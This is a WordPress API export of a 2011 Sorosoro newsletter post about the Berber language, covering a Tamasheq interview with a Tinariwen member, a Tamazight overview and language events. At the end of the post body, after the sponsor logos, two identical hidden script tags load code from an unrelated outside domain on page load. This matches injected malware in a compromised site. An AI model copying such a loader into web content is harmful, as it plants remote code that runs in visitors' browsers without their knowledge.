{"id":55606,"date":"2011-09-05T01:14:31","date_gmt":"2011-09-04T23:14:31","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=55606"},"modified":"2025-10-21T22:25:37","modified_gmt":"2025-10-21T20:25:37","slug":"sorosoro-september-1-2011","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-1-2011\/","title":{"rendered":"Sorosoro \u2013 September 1st, 2011 <br\/><br\/>In focus this week: the Berber language! With an interview in Tamasheq to mark the release of Tinariwen&#8217;s latest album; plus everything you ever wanted to know about the Tamazight language, with Salem Mezhoud\u2026<br\/><br\/><br\/>"},"content":{"rendered":"<h5>The Berber language in focus<\/h5>\n<p style=\"text-align: justify;\">Berber, or Tamazight, has just recently been granted <strong>official language status in Morocco<\/strong>, after the constitutional referendum held last July. A first for North Africa and the Sahara-Sahel area, where Tamazight is spoken! Sorosoro brings the Berber language into focus for the occasion\u2026<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><strong>New video<\/strong><\/p>\n<p style=\"text-align: justify;\">All summer we have been adding videos on <strong>Tamasheq<\/strong>, a variant of Berber spoken by the <strong>Tuareg<\/strong>. We continue our series this week with\u00a0<strong>Tinariwen<\/strong> band member Moussa Abdallah Ag Alhousseyni who tells us, in Tamasheq, about his relation to his language and how he got to learn <strong>Tifinagh script<\/strong>. Interview with a Tuareg activist\u2026<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/tinariwen-interview-with-abdallah-ag-alhousseyni\">See video<\/a><\/p>\n<p style=\"text-align: justify;\">A particularly hot topic as it happens, with the band having just released their latest album, <strong><em>Tassili<\/em><\/strong>, and launched a world tour!<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/august-29-2011-tinariwen-issues-new-album-in-tamasheq-\u2013-language-of-the-tuareg\">Read article on Tinariwen record and tour<\/a><\/p>\n<p style=\"text-align: justify;\">\n<p><strong>Soropedia<\/strong><\/p>\n<p style=\"text-align: justify;\">Who claims they\u2019ll easily find their way through the maze of Tamazight variants?  Researcher-consultant <strong>Salem Mezhoud<\/strong> (University of London, UNESCO) takes us on an enlightening visit of the linguistics, geography and history of the language and its dialects. We\u2019re particularly grateful for such a clear account ;)) !<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/tamazight\">Read description sheet<\/a><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><strong>News<\/strong><\/p>\n<p style=\"text-align: justify;\">Wrapping up our focus on Tamazight, an article on the <strong>difficulty to grant Moroccan children a Berber name<\/strong>.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/july-26-2011-slate-africa-on-the-difficulty-to-grant-moroccan-children-a-berber-name\">Read article<\/a><\/p>\n<p style=\"text-align: justify;\">\n<h5>Agenda<\/h5>\n<p style=\"text-align: justify;\"><strong>September 6<\/strong>: do not miss <em>France Culture<\/em> airing on the languages of the French Overseas, with Sorosoro director <strong>Rozenn Milin<\/strong> and linguist <strong>Michel Launey<\/strong>.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/september-6-2011-france-culture-program-on-the-languages-of-the-french-overseas-with-sorosoro\">Tune in<\/a><em> <\/em><\/p>\n<p style=\"text-align: justify;\"><strong>September 26<\/strong>: celebrating plurilingualism and over 200 languages on the\u00a0<strong>10th European Day of Languages <\/strong>!<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/september-26-2011-10th-european-day-of-languages\">Read article<\/a><\/p>\n<p style=\"text-align: justify;\">\n<h5>Videos subtitled in Spanish<\/h5>\n<p style=\"text-align: justify;\">As previously announced, the 3 remaining videos of our series on <a href=\"http:\/\/www.sorosoro.org\/es\/videos-en-lengua-kaqchikel-\u2013-guatemala\">the <strong>Kaqchikel<\/strong> language<\/a>, spoken in Guatemala, are now available with Spanish subtitles, much to the delight of Spanish-speaking Sorolovers: a presentation of Kaqchikel by linguist <strong>Nikte Sis Iboy<\/strong>, an interview on the decline of the language, and a video on <strong>colour symbolism in the Maya New Year ceremony<\/strong>\u2026<\/p>\n<p style=\"text-align: justify;\">\n<h5>Keeping in mind\u2026<\/h5>\n<p style=\"text-align: justify;\">A new <a href=\"https:\/\/www.sorosoro.org\/en\/to-learn\">word of the fortnight<\/a>, meant to serve as an endless encouragement\u00a0: \u00ab<strong> To Learn<\/strong> \u00bb.<\/p>\n<p style=\"text-align: justify;\">As well as an updated <strong>Soroquiz<\/strong>, available on our <a href=\"https:\/\/www.sorosoro.org\/en\/\">homepage<\/a>\u2026<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><strong>A beautiful week to all of you,<\/strong><\/p>\n<p style=\"text-align: justify;\">The Sorosoro crew<\/p>\n<p style=\"text-align: center;\">Supported by<\/p>\n<p style=\"text-align: center;\"><img loading=\"lazy\" decoding=\"async\" title=\"LogoFondationChirac\" src=\"..\/wp-content\/uploads\/LogoFondationChirac2-280x300.jpg\" alt=\"LogoFondationChirac\" width=\"75\" height=\"82\" \/><img loading=\"lazy\" decoding=\"async\" title=\"logo FondationOrange\" src=\"..\/wp-content\/uploads\/logo-FondationOrange-300x117.jpg\" alt=\"logo FondationOrange\" width=\"168\" height=\"65\" \/><\/p>\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The Berber language in focus Berber, or Tamazight, has just recently been granted official language status in Morocco, after the constitutional referendum held last July. A first for North Africa and the Sahara-Sahel area, where Tamazight is spoken! Sorosoro brings the Berber language into focus for the occasion\u2026 New video All summer we have been [&hellip;]<\/p>\n","protected":false},"author":18,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24],"tags":[],"class_list":["post-55606","post","type-post","status-publish","format-standard","hentry","category-sorosoro-news"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Sorosoro \u2013 September 1st, 2011 In focus this week: the Berber language! With an interview in Tamasheq to mark the release of Tinariwen&#039;s latest album; plus everything you ever wanted to know about the Tamazight language, with Salem Mezhoud\u2026 - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-1-2011\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Sorosoro \u2013 September 1st, 2011 In focus this week: the Berber language! With an interview in Tamasheq to mark the release of Tinariwen&#039;s latest album; plus everything you ever wanted to know about the Tamazight language, with Salem Mezhoud\u2026 - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"The Berber language in focus Berber, or Tamazight, has just recently been granted official language status in Morocco, after the constitutional referendum held last July. A first for North Africa and the Sahara-Sahel area, where Tamazight is spoken! Sorosoro brings the Berber language into focus for the occasion\u2026 New video All summer we have been [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-1-2011\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2011-09-04T23:14:31+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T20:25:37+00:00\" \/>\n<meta name=\"author\" content=\"Michel.Lemee\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Michel.Lemee\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-1-2011\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-1-2011\/\"},\"author\":{\"name\":\"Michel.Lemee\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"headline\":\"Sorosoro \u2013 September 1st, 2011 In focus this week: the Berber language! With an interview in Tamasheq to mark the release of Tinariwen&#8217;s latest album; plus everything you ever wanted to know about the Tamazight language, with Salem Mezhoud\u2026\",\"datePublished\":\"2011-09-04T23:14:31+00:00\",\"dateModified\":\"2025-10-21T20:25:37+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-1-2011\/\"},\"wordCount\":390,\"articleSection\":[\"Sorosoro news\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-1-2011\/\",\"url\":\"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-1-2011\/\",\"name\":\"Sorosoro \u2013 September 1st, 2011 In focus this week: the Berber language! With an interview in Tamasheq to mark the release of Tinariwen's latest album; plus everything you ever wanted to know about the Tamazight language, with Salem Mezhoud\u2026 - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/#website\"},\"datePublished\":\"2011-09-04T23:14:31+00:00\",\"dateModified\":\"2025-10-21T20:25:37+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-1-2011\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-1-2011\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-1-2011\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/en\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Sorosoro \u2013 September 1st, 2011 In focus this week: the Berber language! With an interview in Tamasheq to mark the release of Tinariwen&rsquo;s latest album; plus everything you ever wanted to know about the Tamazight language, with Salem Mezhoud\u2026\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/en\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/en\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\",\"name\":\"Michel.Lemee\",\"url\":\"https:\/\/www.sorosoro.org\/en\/author\/michel-lemee\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Sorosoro \u2013 September 1st, 2011 In focus this week: the Berber language! With an interview in Tamasheq to mark the release of Tinariwen's latest album; plus everything you ever wanted to know about the Tamazight language, with Salem Mezhoud\u2026 - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-1-2011\/","og_locale":"en_US","og_type":"article","og_title":"Sorosoro \u2013 September 1st, 2011 In focus this week: the Berber language! With an interview in Tamasheq to mark the release of Tinariwen's latest album; plus everything you ever wanted to know about the Tamazight language, with Salem Mezhoud\u2026 - Sorosoro","og_description":"The Berber language in focus Berber, or Tamazight, has just recently been granted official language status in Morocco, after the constitutional referendum held last July. A first for North Africa and the Sahara-Sahel area, where Tamazight is spoken! Sorosoro brings the Berber language into focus for the occasion\u2026 New video All summer we have been [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-1-2011\/","og_site_name":"Sorosoro","article_published_time":"2011-09-04T23:14:31+00:00","article_modified_time":"2025-10-21T20:25:37+00:00","author":"Michel.Lemee","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Michel.Lemee","Est. reading time":"2 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-1-2011\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-1-2011\/"},"author":{"name":"Michel.Lemee","@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"headline":"Sorosoro \u2013 September 1st, 2011 In focus this week: the Berber language! With an interview in Tamasheq to mark the release of Tinariwen&#8217;s latest album; plus everything you ever wanted to know about the Tamazight language, with Salem Mezhoud\u2026","datePublished":"2011-09-04T23:14:31+00:00","dateModified":"2025-10-21T20:25:37+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-1-2011\/"},"wordCount":390,"articleSection":["Sorosoro news"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-1-2011\/","url":"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-1-2011\/","name":"Sorosoro \u2013 September 1st, 2011 In focus this week: the Berber language! With an interview in Tamasheq to mark the release of Tinariwen's latest album; plus everything you ever wanted to know about the Tamazight language, with Salem Mezhoud\u2026 - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/en\/#website"},"datePublished":"2011-09-04T23:14:31+00:00","dateModified":"2025-10-21T20:25:37+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-1-2011\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-1-2011\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-1-2011\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/en\/"},{"@type":"ListItem","position":2,"name":"Sorosoro \u2013 September 1st, 2011 In focus this week: the Berber language! With an interview in Tamasheq to mark the release of Tinariwen&rsquo;s latest album; plus everything you ever wanted to know about the Tamazight language, with Salem Mezhoud\u2026"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/en\/#website","url":"https:\/\/www.sorosoro.org\/en\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/en\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18","name":"Michel.Lemee","url":"https:\/\/www.sorosoro.org\/en\/author\/michel-lemee\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts\/55606","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/users\/18"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/comments?post=55606"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts\/55606\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/media?parent=55606"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/categories?post=55606"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/tags?post=55606"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}